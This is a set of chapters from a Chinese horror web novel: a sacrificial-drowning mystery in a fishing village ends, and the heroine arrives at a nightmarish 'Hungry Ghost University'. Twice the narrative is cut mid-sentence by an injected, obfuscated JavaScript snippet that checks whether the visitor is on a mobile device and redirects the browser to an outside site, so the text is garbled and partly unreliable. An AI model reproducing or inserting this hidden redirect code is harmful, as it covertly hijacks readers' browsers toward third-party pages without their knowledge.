“我很想吐,但胃里已经没东西让我吐了。”时越白着脸,“即便看到这些很坏胃口,我居然还是觉得好饿啊,再这么下去,我肯定会疯的。” 苏韵面无表情:“赶紧走吧,别浪费时间了。” 陈喻也是这个意思,饥饿在疯狂啃噬她的理智,再拖延下去,这只会是他们所有人的下场。 ———咚咚咚!!! “——阿荣!” 没过多久,如铁般的木门被缓缓推开,阿荣踩着拖鞋从里面走了出来,他面色如纸,身形消瘦,眼睛却肿得厉害,陈喻猜他大概哭了一宿。 “……你们来了,你们终于来接我了,我是不是很快就可以见到阿妈了,我真的好想她,我想要见她,我不想一个人留在这里,这里什么都没有了,没有阿妈,也没有小鱼,我被困在这里很久了,阿妈终于派你们来接我了吗?”他浑浊的眼睛里挂着泪水,望向他们的眼睛满怀希冀。 “我们可以带你离开,但我们也得确定你的身份,你还记得阿妈是个什么样的人吗?”陈喻一脸认真地看着他。 “阿妈,阿妈是个善良温柔的人,她是这个村子里最爱我的人,也是最爱这片海域的人,她会和我一起救助小鱼,也会帮忙清理海边的垃圾,阿妈是世界上最好的人……” 陈喻听到这里心突然错了一拍。 “你还记得阿妈去了哪里吗?”秦曜温和地看着他,态度却不容拒绝。 “……记得的,阿妈她……去了海里,她一定是去找小鱼们了,她把小鱼们藏到了安全的地方,这样就没人能伤害它们了。” 陈喻觉得自己的异化肯定很严重了,否则她的脑袋怎么会像浆糊一样呢? 他说,阿妈是最爱这片海域的人。 ……要找一位村民,一位对整个海域有着极强敬畏之心的人去呼唤海神…… 他说,阿妈消失之后,海里的鱼也消失了。 ……祭祀失败了,他们一定是犯了大错,海神降下了天大的罪,海神彻底收回了对他们的馈赠,并让他们成为了怪物…… “阿妈……是怎么去海里的?”陈喻颤着声问。 阿荣的眼神突然变得悲伤无比:“他们说海里住着一个神,他生生世世保佑着我们小渔村,他们骗人的,海里根本没有神,阿妈被骗了,我也被骗了,我家的窗户正对着海边,我全都看到了,他们把阿妈绑了起来,他们骗她去呼唤海神,他们把她扔进了海里,他们错了,他们信奉的神明把他们变成了怪物,他们每天都活在恐惧里……” 说到这里他的神情又多了几分怨恨:“可那又怎么样,他们再怎么样也不能换回阿妈来,我真怕,真怕他们肮脏的灵魂会弄脏了那片海!” “他的情绪似乎不太稳定。”苏韵突然说。 阿荣一会儿在哭泣,一会儿又在咒骂,一会儿似乎又想起什么开心的事,看上去确实不稳定极了。 阿荣说着说着突然踢到了一块石头,他俯下了身子,轻轻捧起那颗石头,像是再看什么很珍贵的东西,脸上满是温柔和怜惜,他看着那颗石头轻声说:“……这条小鱼在乎。” 陈喻莫名觉得这句话好像在哪听过。 17. 人鱼村落(完) 木屋的门被疯狂敲打着,那声音急促极了,屋里的人刚刚将门推开缝隙,外面的小孩便扑进了她怀里:“阿妈阿妈,我今天学了新的课文,叫《这条小鱼在乎》,讲的是小男孩儿救助困在浅水洼里的小鱼回大海的故事,阿荣也要成为这样的人。” “阿荣乖,我们阿荣一直都是在救助小鱼的那个人呢。”阿妈柔声笑着轻抚他的额头,牵着他的手往屋子里面走,“你瞧,阿妈给你准备了什么?” 阿荣眨巴了好几下眼睛,震惊道:“哇!好大的浴缸!” “你不是想要救助受伤的小鱼吗?之前的鱼缸都太小了,这个以后给你养护小鱼用。” “阿妈真是世界上最好的阿妈。”阿荣的眼睛亮亮的,“对了阿妈,阿荣今天也有捡很多垃圾呢,阿荣很喜欢这样美丽的村落被大家看到,可是阿荣不喜欢他们乱丢垃圾,海滩上全都是垃圾,塑料袋子缠在小鱼脖子上,金属杆子贯穿小鱼的身体,我们究竟给小鱼的家带来了什么?” 阿妈温柔地摸了摸他的脑袋,柔声说:“有阿妈在,有阿荣在,一切都会好起来的,我们多捡一点垃圾,或许就可以救一条小鱼,阿妈已经找到保护小鱼的家的办法了,很快一切都会好起来。” ———咚咚咚!!! 突然,屋外响起了敲门声。 阿妈低头微笑着看着他:“阿妈有点事情出去一下,很快就回来,阿荣就乖乖呆在房间里等着阿妈好不好?” “好。”他笑着应声。 洗浴间的浴缸很大很大,有两张床拼起来那么大,阿荣把之前鱼缸里受伤的小鱼轻轻捧起来放在了大浴缸里,他边往进放边喃喃道:“……这条小鱼在乎。” 屋外突然传来数十道人声,他们似乎在念什么咒语,嘈杂的声音刺激着阿荣的耳膜,他不自觉向着窗边看去,正对着窗户的海边围着一圈村民,他们嘀嘀咕咕不知道在念叨什么,而他们围着的正中间端坐着一个熟悉的身影。 “……阿妈?” 阿妈闭着眼睛,似乎在打坐冥想,正当他感到疑惑时,他突然看到阿妈身边的村民朝着阿妈走去,无数双手朝着阿妈伸去,他们手里拿着粗粗的麻绳,那麻绳正一圈一圈地将阿妈的身体束缚起来。 “阿妈!阿妈!!!” 他朝着外面呐喊,想要提醒阿妈,可她的眼睛始终紧闭,像是什么都听不到一样。 他看到那些村民将他的阿妈往大海边缘推去,他们要把她扔进海里。 “快跑啊阿妈!!他们要把你丢进海里了!!” 可他的声音似乎被阻隔在屋子里面,怎么也传不出去,他想要推开窗户,可那窗户却似乎被什么东西封住了,怎么也推不开,他想要拉开门出去,连门也被封死了,他绝望地拍打着玻璃,他从来不知道,屋子里的玻璃那样坚硬,无论他用什么砸都砸不开。 他只能眼睁睁看着他最爱的阿妈被五花大绑地丢进冰冷的海水里,他看到她突然睁开的眼睛,看到她眼中的无措,看到冰冷的海水将她吞没。 他听到那些村民说:“你不是像疯了一样爱这片海吗?这下可以永远待在你最爱的海里了,你不会白白牺牲的,海神会听到我们的呼唤,海神会世代保佑这片村落。” 你瞧,这窗户分明就不隔音的。 他们根本就能听到他的绝望和呐喊的。 阿妈明明水性很好的,可偏偏被他们绑住了手脚。 “你不是很爱那些鱼吗?那你知道你的阿妈会怎么样吗?会被你一直爱惜的鱼啃噬得一干二净……” “被你救的无数条鱼啃噬殆尽……” “这个村落总要有人牺牲,你难道不希望这片海域恢复从前的样子吗……” 他们在窗边对他说了好多话,可他似乎都听不清楚了,或许这窗户的隔音真的挺好的吧,他也不记得当时他究竟是什么样子了,也不记得自己当时说过些什么话了,他只觉得浑身发冷,仿佛和阿妈一起掉进了冰冷刺骨的海水里,等他回过神来的时候,木屋已经变得暗无天日,他们用木料钉住了他的窗户,仿佛钉住了他的生命。 窄小黑暗的木屋像一具棺材,而他是安放在里面的行尸走肉。 海水吞噬了阿妈,眼泪吞噬了他。 窒息般的悲伤似乎夺走了他最后的生机,可偏偏这时他想起了洗浴间里的那些鱼…… “……你们也会救下阿妈吗?像我救下你们一样。” 他等了很久,等到了搬离这间屋子的那天,却始终没有等到阿妈回来。 听说他们失败了,海里再也没有鱼类的踪迹,就连他屋子里的鱼也因为生存环境没有活下来,村民似乎在陆陆续续变成怪物。 他突然很难过,他们都在骗他,阿妈骗他,她根本就没有回来,村民也骗他,海里根本就没有海神,就连他自己也在骗自己,明明知道不可能却还一直坚信。 …… “你们真的可以帮我找到阿妈吗?”阿荣的眼睛闪烁着光芒,那是希冀。 “可以。”陈喻抿了下唇说,“但得等到晚上。” “好。”他笑着应声。 “你们可不能骗我。”他补充道。 木麻黄树下,海风迎面拂过,明明是站在一样的位置,她的心情却似乎天差地别,比刚来的那天糟糕了太多。 陈喻的心像是被揪着一样,原来要献祭的东西不仅有血肉,还有灵魂,他们要献祭的是最鲜活的生命。 “海洋受到了严重污染,游客肯定会大幅度减少,村民心中难免着急,丧失了游客就只能走靠海吃海的老路,可是海里的鱼类也大幅度减少了,他们很无助,也很绝望,人绝望的时候就容易去信奉神灵,他们想要得到海神的恩赐。”她努力理清思绪。 “不知道从哪里冒出来那样一本典籍,他们像是疯了一样,找到最敬畏海域的那个人。” 秦曜看着海面说:“不会有人在意祭典的来历,他们只需要一个信仰,一个希望,和一个冠冕堂皇的理由。” “祭祀完成了,海里从此没有一样垃圾废物,可是鱼也消失了。”陈喻继续说,“等到他们觉察到异样的时候,已经晚了,有人变成了怪物。” 她一直在想,最初那具光秃秃的人鱼骨架的来历究竟是什么,如今,她都知道了。 海里本没有神,可当她进入了海域的时候,当阿荣被束缚自由的时候,海洋失去了最后庇佑他们的人,海里从此就有了神,来审判犯下恶行的众人。 至于为什么游客可以被拿来替罪,大抵是因为他们也破坏了这片海。 “你真的要帮他见阿妈吗?”时越在她耳边问,“可你知道他阿妈在哪吗?” 陈喻面无表情地看着眼前的海:“我不仅要让他见阿妈,我还要让这个村落的所有人都见到。” 或许是闻到死亡的气息离他们越来越近了,几人的气氛冷到了极点,他们都只是静静地看着眼前的海面,等待着夜晚的降临。 “陈喻,你知道这是什么树吗?”时越突然开口问。 “木麻黄树。”她不明所以。 “木麻黄树能吃吗?”时越看着树两眼发昏。 “……” “木麻黄树的果实、树皮有药用价值,但不可以随便食用。”秦曜微笑着说。 苏韵看了他一眼,默不作声往时越和陈喻手里一人塞了块压缩饼干,自己也吃了一块。 “没有我的吗?”秦曜笑着问。 “我没记错的话,你的资金还很充裕。”苏韵很不客气地说。 不知道是不是他们太焦急,总觉得今天的夜晚来得格外慢,等天色终于暗下来的时候,陈喻半死不活的眼神突然好像有了几分光芒。 “秦先生不是想和我合作嘛,展现你诚意的时候到了。”她看着秦曜说。 今晚的海风似乎比过往每一日都要猛烈,腐臭味也愈发浓郁,陈喻一眼就看到了熟悉的纯白色花田,那抹白日里如画一般的存在,夜里却莫名看起来有些诡异,跟她猜想的一样,夜晚阿丽果然没有守在花圃旁。 她没敢拖延,一脚就踩进了花圃里,泥土异样的质感她已无暇顾及,伸手就掐了朵白花下来,然而,一朵白花根本不是她的计划,她速度极快,顺手就掐了一片。 “她不是说进她的花圃不能穿鞋袜嘛。”时越在一旁看得动魄惊心。 陈喻采花采得认真,头也没回:“她说的是花匠,我现在是偷花贼。” 时越:“……” 她先前试探过阿丽的态度,也分析她几次说的话,至少穿鞋进来不是必死情况,而且脱鞋进去几乎就是默认花匠身份,一个不小心手里的花就会变色。 “今天刘婆婆才从村头骂到村尾,大骂偷项链的贼,晚上居然又来洗劫阿丽的花圃,明天阿丽又得骂了。”时越一边说一边帮着掐花。 “今天是采花大盗,记住,一朵不留。”陈喻说。 她俩刚刚掐完所有的花,脚下的泥土就变了质地,原本深红色的泥土似乎变成了鲜艳的血色,质感也变得更加一言难尽,陈喻将包裹着花朵的包袱一下子甩到肩上,拉着时越扭头就跑。 夜里的屋子她们都可以看到窗户,这实在是件很省心的事,陈喻轻轻推开了附近一间屋子的窗户,没有丝毫犹疑地扔了朵白花进去。 她和时越分头行动,将包袱里的白花一间不落地扔进所有能扔的屋子,也没管里面住人没住。 陈喻也在赌,她没有办法,或许韩少宇说得是对的,这场考试就是要拿命去赌,她已经把题目给出的已知条件都考虑进去了,她也拼凑出了完整的题目,至于解题的过程,她无法保证每一个步骤都能不出错,或许她答不出所谓的标准答案,但总会有解法,尽管过程有风险。 人鱼要看到它的灵魂,但这个灵魂又不能是他们几个考生来让它看见,不然周辛夷就是他们的下场。 那就只能赌,赌白花的效果会根据冥想的内容变化,赌村民内心的恐惧,赌他们闭目沉睡的时刻,赌他们不穿鞋袜的入眠,赌白花就算不戴在身上也能在一段距离内发挥作用。 她已经尽量朝着床和人的位置在扔了,没办法,村民都知道的,他们不会主动种花的,只有这种方法,她带花来的路上甚至不敢眨眼,生怕一个闭目的瞬间就成了种花人。 她正扔得起劲,一转头,发现秦曜不知道什么时候已经站到她身后了。 “秦曜秦曜,你们那边怎么样了?”她问。 “没问题了。” 秦曜微笑着回应她,她却没吭声,抡起手里的包袱扭头就走。 天杀的,这货就不是秦曜。 她就怕晚上分头行动会出这种事,专门让每个人交流前先喊两遍对方名字。 等到她把手里的花都放完的时候,海边约定好的位置三人已经到齐,木麻黄树下堆放着几截木材以及两三把斧子。 “陈喻陈喻,我们已经都准备好了。”秦曜笑着说。 “……” 好吧她承认,这样喊真的很傻。 “秦曜秦曜,我这边也是。”她一脸无奈。 突然,陈喻听到身后不远处有一道门开了,有村民在朝着他们这边走来,那男人直直从他们身边走过,朝着海域走去,路过时陈喻注意到他的腰间别着朵花,那朵花已经不再是纯白色,而是变成深红色,像是包裹着浓郁的鲜血,又像是深夜绽放的玫瑰。 然而不止这一个人,村落里的无数道门陆续被推开,整个村落的村民都在默不作声地朝着海边汇聚。 海面突然翻涌起巨大的海浪,风浪几乎要将他们全部死死拍在岸上,巨大的身影从海面跃出,陈喻看到了熟悉的月亮。 原来那不是月亮。 巨大的人鱼骨架从水面一跃而起,明晃晃的两颗眼珠像月亮一样安放在它的眼眶上,成千上万的尸骨从海水中歪七扭八地爬出来,它们的血肉早已被泡得浮肿腐烂,碎裂的血肉胡乱拼凑在一起,本该隐匿在身体里的脑浆和心脏肠子乱七八糟地安在各处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538567|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些东西将村民牢牢拽进海域深处,村民在此时似乎突然清醒了过来,他们疯狂哭喊着挣扎着,可是已经来不及了,一切都太晚了,他们只能眼睁睁地看着自己被一点一点拉入海底,被海水慢慢吞噬,被这些他们亲手推进来的怪物一点一点啃噬殆尽…… 明明看起来惨不忍睹,都看不清它们的样貌,但陈喻下意识地就觉得那些东西好像在咧着大嘴笑,海风的呼啸声里掺杂着撕心裂肺的哭喊声,那些东西的笑声在其中显得突兀又诡异。 尽管隔着一段距离,陈喻几人还是忍不住倒吸一口凉气。 浓重的血腥味从海边蔓延过来,在数道哭喊声中陈喻看到有一个男人在朝着她走来,无数双浮肿发白的手拉扯着他,血红色的长指甲已经戳进了他的血肉里,他双眼猩红,连头顶也按着一双大手,似乎要将他的脑袋劈碎,但即便如此,男人还是在朝着她的方向挪。 她听到那人撕心裂肺的声音在说:“你明明答应了我可以帮我彻底解决海里的东西的!!” 她声音平静,也不在乎那人听不听得到:“可是怎么办呢,我先答应了人鱼的。” 海水将他的声音彻底淹没。 就连村长也被人鱼骨架重重摔得粉碎,老旧的骨头四散在广阔的海域之中。 “监考……死了?”时越震惊。 所有的村民里,只有一个村民没有呐喊,也没有挣扎,阿荣静悄悄地看着他的月亮,他的月亮也在朝他靠近,巨大的人鱼尾骨将他卷起,像是将他拥入了怀抱一般。 “……阿妈,是你来接我了吗?”阿荣的泪从他消瘦的脸颊滑落,他用手描摹对方的脸,他的脸也在飞速异化成鱼类脑袋的模样,“阿妈,带我走好不好,阿荣真的好想好想你啊……” 陈喻注意到他腰间的那朵花居然还是纯白色,今天晚上她扔了无数朵白花给村民,可唯有阿荣那朵是他自己亲手接过的。 或许阿荣就是那条被困在浅滩上的鱼,直至此刻才重归了他的大海。 等到这场凶残的虐杀慢慢平息的时候,秦曜将树下的木桩都劈成两半,截面朝上扔到了水面上,可那木材居然直接沉了下去。 “这样还不行吗?”秦曜的眉头拧起来。 “难道必须做成木船的样子吧。”时越苦恼地挠头。 “我又不是木匠。” “可能是漏掉了什么步骤,究竟有什么线索和已知信息是被我们遗漏的呢?”苏韵的眉头也皱着,似乎在凝神思考。 “等天亮吧。”陈喻没什么情绪地说,“你们忘了村民是怎么拿游客替罪的了?” 苏韵心领神会:“祷告。” 时越也反应过来:“你是说我们得等到早上念他们祷告的咒词,完成了仪式我们大概就能离开了。” “我猜是这样。” 陈喻说完就靠着木麻黄树坐下了,她静静地看着眼前已经恢复平静的海域,饥饿在疯狂叫嚣着她的每一寸神经,脑袋和四肢麻木到她已经快感觉不到它们的存在了,她今晚出门的时候特意换了一条长裙子,因为她感觉到了两条腿的异样,手臂似乎在飞速退化,身上却长出了不属于自己的鱼鳍,脖颈处的鳞片已经蔓延到了她的整个脸颊。 现在的她,除了还有一口气以外,几乎和展览馆里的东西长得一模一样。 她在飞速异化,或许是因为夜晚总是呆在外面,或许是因为拿了珍珠项链,又或是因为洗劫了花圃里所有的花,又或许……是这些事情的叠加效果。 最少最少也得赶在今天考试之前离开这里。 只是……还能活着离开吗? 等到黎明的微光撒到海面上的时候,陈喻他们没敢磨蹭分毫,赶忙照着祭典上的咒词念叨了一会儿。 “嗡叭——嗡叭——” “古鲁嗒——咪啦——” 陈喻的声音低哑得像是含了沙砾一样。 祷告完成后秦曜忙试着把劈开的木材又扔入水面,那木材果然稳稳浮在了水面上,他几乎是没有一丝犹豫地站了上去,那木材果真像船一样载着他往另一边移去。 他微笑着朝几人说:“那我就先走一步了,学校见了,各位。” 他说完这句话不久便消失在了海域上,大概是被传送出了考场。 时越见状,赶忙也搬了块木材。 “你不走吗?” 苏韵的声音吸引了时越的注意,她转过头看到了还坐在木麻黄树下的陈喻,陈喻的脸已经快要完全变成鱼头的样子了,她靠在那里似乎失去了全身的力气。 时越朝她走去,发现了她裙下新长出来的长长的鱼尾,看到了她空荡荡随风飘摇的衣袖。 “你们先走吧。”陈喻气息虚弱,微笑着说,“或许,待会儿我就游出来了。” 木材太小了,而她现在已经无法站立,她大概走不了了。 “喂,你不考研了吗?你不着急出去了吗?”时越低着头问陈喻,海风吹乱了她的头发,陈喻却看不清她的情绪。 “陈喻,你是我来这里见到的第一个人,不知道为什么,所有人里我只相信你。” “你这是雏鸟情结吧?”陈喻笑着说。 “陈喻,你还记得吗?上次在展览馆的时候是你救我出来的。” “就算我不救你,你醒了也能自己出来的。”陈喻说。 “陈喻,我这人很讲义气的,你怎么对我,我就会怎么对你。” 陈喻无声地看着时越,看着她的泪水砸落在沙滩上,对方倔强地低着头,当时许芸芸死的时候她似乎也很难过,但陈喻从没见她这样哭过。 “你要干什么?!” 陈喻一脸震惊地看着自己远离地面,时越那家伙居然把她抱了起来。 “你俩煽完情了就赶紧过来。” 苏韵面无表情地按着两块浮在海面上的木头,顺手从时越手里抢走了一半陈喻…… 她俩站得很近,四只手稳稳托着一条人鱼。 陈喻:“……” 18. 饿鬼大学 久违的阳光洒在海面上,干燥的空气让陈喻忍不住想跳进水里游几圈,极度的饥饿让她浑身冒汗,麻木的身体几乎不能挪动分毫。 眼看着离海岸越来越远,她的视线也越来越模糊,眼看着就要昏睡过去,她突然像是惊醒一般睁大双眼。 她突然想起来今天好像要考初试来着!! 没有边际的海域突兀地出现了熟悉的面板,仿佛在告诉她这只是场游戏而已。 【系统已检测到您目前的答题情况,请确定是否答题完毕,是否确认交卷。】 陈喻没有丝毫犹豫地选了下面的【答题完毕并提前交卷】。 她庆幸这玩意好像是意识操控的,否则她就只能眼睁睁看着出口出不去了。 【考生成绩审核中……审核完毕】 【成绩评定:优(通过)】 【考场等级评定:F级】 【恭喜考生陈喻通过饿鬼大学校内选拔考试】 【资格奖励:全域研究生招生统一考试报名资格】 【道具奖励:兹木魔方】 【积分奖励:300积分】 一道刺眼的白光将他们吞噬,等到陈喻再睁开眼的时候,看到的是一片陌生的光景。 “这哪啊——啊呸!” 时越看着眼前贫瘠的黄土地和光秃秃的枯树,一脸茫然地凌乱在迎面吹过来的风沙里,莫名其妙吃了口土。 还没等苏韵开口,一道带着诡异调调的女声响了起来。 【欢迎来到饿鬼大学!】 “还能是哪,回学校了啊。”苏韵的声音听起来没什么情绪。 “可这也不是我的学校啊。” 时越还在蒙圈,突然觉得手里抱着的人变得僵硬了不少。 陈喻出来之后已经恢复成了正常的样子,但她现在的脸色看起来似乎比待在里面那阵更难看了。 她面如死灰地脸上溢满绝望,一开口声音像老了十岁一样:“要不……你们还是把我抱回去吧。” 苏韵一言不发,撒手就把手里抱着的腿扔在了地上。 时越眼疾手快,好歹是扶住了陈喻。 “你知道怎么从这个鬼地方回现实世界吗?”陈喻带着凄怨的声音幽幽地说。 苏韵没眼看地瞅了她一眼:“你觉得我要是知道的话,还会站在这里跟你说话吗?” “……” 天塌了! 悠悠苍天,何薄于我! 那她准备了那么久的考试究竟算什么,算她勤劳吗?! 天杀的!他们知不知道他们到底对一个三战的考研人做了什么?! 时越支撑着她僵硬的肢体,拍了拍她的肩膀:“你也不要太难过,你有没有看过那种进入异度空间的电影啊小说什么的,有时候进入异度空间过了很久,出来之后在现实里不过也就几天几个小时这样。” 陈喻听了时越的话,满怀期许地看了苏韵一眼。 苏韵面无表情:“前提是能出去。” “……” 还是很崩溃啊!!! “你们是刚参加完考试的新生,待会儿会有人来接你们。”苏韵没有看热闹的打算,随手往陈喻手里塞了样东西,“这里没有通讯工具,给你的是一个低级道具,拿来定位找人的,当然,因为是我的道具,只能我用来找你们,你要是不想被我找上门来也可以把它扔了,不过一般我也不会找上门来。” “我还有事,就先走了。”苏韵说。 陈喻摸着手中坚硬的金属制品,那似乎像是一枚硬币大小的勋章,上面刻着字母“sy”的字样。 一阵风沙之后,锈迹斑斑的大铁门出现在两人眼前,从里面走出个戴着红色眼镜穿着红色包臀裙的女人,血红色的口红厚厚涂在她的嘴上,脸上像是刮大白了一样,厚厚的白色墙皮时不时还会随着面部夸张的表情掉落碎屑。 “欢迎你们来到饿鬼大学,你们好,我是你们的辅导员,我叫晓红,恭喜二位通过你们的新生入学考试,也是全域研究生统一招生考试报名资格的校内选拔考试,真是凑巧呢,这可是我们学校难度系数最高的考试了呢,你们居然都通过了呢,真是优秀的新生呢。”晓红张着血红的大嘴笑着说。 时越看到她的样子属实不是很自在,手指无意识地紧紧抓着陈喻的衣袖,她俩现在的打扮已经不再是之前的渔民扮相,也不是在现实世界的打扮,而是一间纯黑色松垮的大T恤,前面是一个很丑的干瘪小人,背后豪放不羁地写着一个很大的“饿”字。 这大概就是饿鬼大学的校服吧。 陈喻还没从刚才的状态里回过神来,看着眼前的女人简直像在看一场拙劣的表演,甚至她一度觉得她还没有睡醒。 “不优秀的不都死了嘛。”陈喻面如死灰地看着她。 “说得也是呢。”晓红嘻嘻笑了一下,然后做出了请的动作,“接下来就由我带领两位参观校园,参观完就要去教学楼上课了哦,你们有什么疑问都可以问我的哦。” 陈喻看了她一眼,语气平淡地开口:“我可以直接毕业吗?” “你刚刚来可能还不清楚,全域现在对学历要求是很高的,你就算只是想要在饿鬼大学打扫卫生捡垃圾,也是需要研究生学历的呢。” “那我什么都不干。” 晓红听到这里突然低头笑了一下,那声音莫名有点瘆人:“可是域内不养废物的呢。” 陈喻脸上是淡淡的死感:“那就让我去域外吧。” “不行呢,域内的废物都死掉了呢。”晓红咧着大嘴笑着说。 时越作为一个摆烂大学生,莫名共情域内的废物,忍不住问:“考上研究生会怎么样?” “就会有工作啊。” “有工作又怎么样?” “有工作就……不用死啊嘻嘻嘻。”晓红说着又笑起来。 时越:“……” 其实仔细想想,这里和现实有时候还是有点相似的。 “除非你们可以考上全域最厉害的学校最顶尖的专业,那可是上层招募管理人才的地方,等你们厉害到那种程度,说不定上层会听到你们改革制度的声音呢。”晓红说。 陈喻的眉头皱得很难看。 这货到底在说什么鬼话,她怎么一句都听不懂? 差点死考场上了,结果也就是个F级。 还最顶尖,她怕是没到最顶,就先被尖戳死了。 这家伙说的根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538568|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本就是无稽之谈,简言之,要么你去死。 “这里就是我们饿大最重要的地方了,饱受饿大学生的欢迎,这就是我们的食堂!” 食堂跟整所学校的风格特别一致,有种末日废土风,整个食堂像是被盗贼团伙洗劫过一样,光秃秃的水泥建筑里胡乱摆放着一堆锅碗瓢盆,所有食物的卖相跟它们的气味一样难以言喻,简陋的土地上随意摆放着一堆上了年纪的木桌木凳,比上一个考场的就餐环境还要糟糕。 让陈喻欣慰的是,他们至少知道修了几面墙和房顶,不至于让风土在这里面肆虐。 “每次我接到的新生总会想要先饱餐一顿,我想先带你们来这里会是一个好主意。”晓红兴奋地搓着手。 说实话,她饿吗?确实是饿的。 但比待在考场里面的时候要强多了。 因此看到这堆不可名状的不知道能不能称作食物的东西的时候,她犹豫了。 “这里居然有馒头哎。”时越朝着其中一个窗口走去,那里的馒头确实看起来还算正常,除了似乎放了很久变得有点硬。 “一个馒头还要两积分,还好我现在积分还算充足,其实也不贵。”时越一脸满足地先买了两个馒头。 “原来这里靠积分交易吗?”陈喻看了一下价格牌子,对着时越说,“真的不贵吗?三百积分,如果一天吃三个馒头,一天六积分,只够吃五十天,况且我们在这里会比平时更饥饿,如果一顿吃两个馒头,只够吃二十五天,如果积分都要通过考试获取,不到一个月的时间我们就得进新的考场继续搏命,再说了,我们真的要天天啃馒头吗?更何况,我们根本不知道后续还有什么需要用到积分的地方。” 时越听完满脸悲伤地啃完了两个馒头:“你说得很有道理,但是我饿了,我不能饿死在今天。” 陈喻:“……” 于是她也啃了俩馒头。 “你之前说我们参加的这场考试是本校最难的,可是考场等级评定也只到F级而已。”陈喻对着晓红问。 “这是当然啦,因为我们饿鬼大学是F级院校哦,所有校内考场最高也就F级啦。”晓红一脸自豪地说。 “那其他院校呢?其他高等级的院校的校内选拔考试考场等级会更高吗?” “真是个聪明的新生呢,是这样的,每个学校的资格名额是有限的,当然要筛选更强的啦。”晓红嘻嘻笑起来,“所以说你们还是很幸运的呢,成为我们饿鬼大学的学生,只需要通过F级考场的考试就可以拥有同样含金量的报名资格了呢。” “那要是加入比我们院校等级还低的学校,岂不是更容易了。” 谁知,晓红听完这句话却摇了摇头,她一脸骄傲地说:“不可能,因为没有比我们等级还低的学校了。” 陈喻:“……” 她甚至还挺骄傲。 “啊,对了,你们应该还没有激活专业技能吧。”晓红激动地搓手,“正好图书馆到了,你们可以去里面激活一下专业技能,我真是好奇呢,两位这样聪明的新生究竟会激活出什么样的技能呢。” 陈喻看着眼前高大的水泥建筑,那里大概有八层楼高。 说实话,她也很好奇这个专业技能。 19. 专业技能 饿鬼大学的图书馆虽然从外面看上去像一个庞大的水泥架子,里面看起来居然还算正常,像是十几年前街角那种有年代感的书店一样,里面确实堆积着不少泛黄破旧的书籍。 “我来给你们介绍一下吧,我们饿大的图书馆一共有八层,其中一二层是专门用来为新生激活专业技能的地方,三四层是学生们用来进行校内考试复习的场地,毕竟咱们学校是很宽容的,有些校内考试是会划定一些考试范围的。”晓红脸上挂着大大的笑容,却莫名有种皮笑肉不笑的感觉。 “五六层是优秀的学生主席代表用来准备比赛的地方,至于七八层嘛,你们暂时应该是用不到的,那是优秀的学生进行专业技能升阶的地方,是会直接进入考场的,升阶考试的难度虽然因人而异,但难度一般都只高不低。” “专业技能还可以升阶?”陈喻眯着眼睛问。 “那当然了,升阶后的专业技能可是会直接上升一个档次呢。” “怎么激活啊?”时越忍不住问。 晓红没有回应时越的话,而是对着她嘻嘻笑了一下,笑得她毛骨悚然。 “激活方式很简单的哦。”晓红边说边带着她们往一楼最里面的新生接待处走,再往进走,陈喻看到靠近角落的几个房间门口都写着“专业技能激活处”。 那是一个个乌漆嘛黑的房间,陈喻严重怀疑饿鬼大学穷得连电都供不起了,从外面的尺寸来看里面多半又窄又小,让她不由得想起人鱼村那个狭窄的淋浴间来。 晓红示意她俩各自走进一间黑屋子,陈喻看着眼前没有任何光源的黑色空间,脸上面无表情,心里毫无波澜,如果是以前她会害怕,如果是上场考试她会谨慎,但她现在莫名就有种光脚的不怕穿鞋的了。 她这个研只要一天考不了,她随时都想把这个鬼地方一把火烧了,大不了同归于尽。 陈喻平静如常地走进了面前的房间,她走进去的一瞬间,身后的房门啪的一声关上了,里面伸手不见五指,浓重的黑色让她失去对周围环境的感知和判断。 长久的黑暗和寂静似乎在试探人心一般,无限放大着人对于未知的恐慌和畏惧。 就在陈喻等的已经有点焦躁的时候,一道带着诡异调调的声音响了起来。 “欢迎来到饿鬼大学,亲爱的新生,想要在这里生存可是一定要有一技之长的哦,作为饿大的学生,我校会赋予您厉害的专业技能,但能够激活出什么样的专业技能,可就全看您的资质了哦。” “请将右手放置在前方光亮处,并紧闭双眼。” 话音刚落,陈喻的前方就出现了一道刺眼的光,那光应该也不是很亮,只是她身处黑暗之中太久了,她眯着眼睛看去,发现光源来自前方桌面上放着的一块不规则的石头。 她轻轻将右手放了上去,并且闭上眼睛,诡异的是,面板居然直接出现在她脑海里。 【新生信息核验中……核验完毕】 【姓名:陈喻】 【学籍信息:……】 面板突然像是老电视花屏一样莫名其妙闪了几下密集的黑白纹路。 “……” 陈喻不禁怀疑饿大的经费实在太紧张,这设备属实有种年久失修的陈旧感。 【学籍信息:饿鬼大学……新生】 【入学考试完成情况:通过】 【专业技能:待激活状态】 【请确认是否立即激活】 她想也没想直接按下了确认键,脑袋却突然像是一片空白,整个身体像是突然被抽走了所有力气,整个人像是陷在棉花里一样绵软无力,像是喝了假酒。 不得不说,这整个饿鬼大学从头到脚,看上去哪哪都不靠谱极了。 几分钟后,微醺感逐渐消失不见,陈喻睁开眼,看到面前的桌子上多了一样突兀的东西,那是一个小小的蘑菇,表面呈褐色,就那样直直地长在桌子上,可是……这是个铁桌子啊! 【恭喜新生陈喻成功激活专业技能——种蘑菇】 【技能等级:F级】 陈喻:? 这是个什么废物技能。 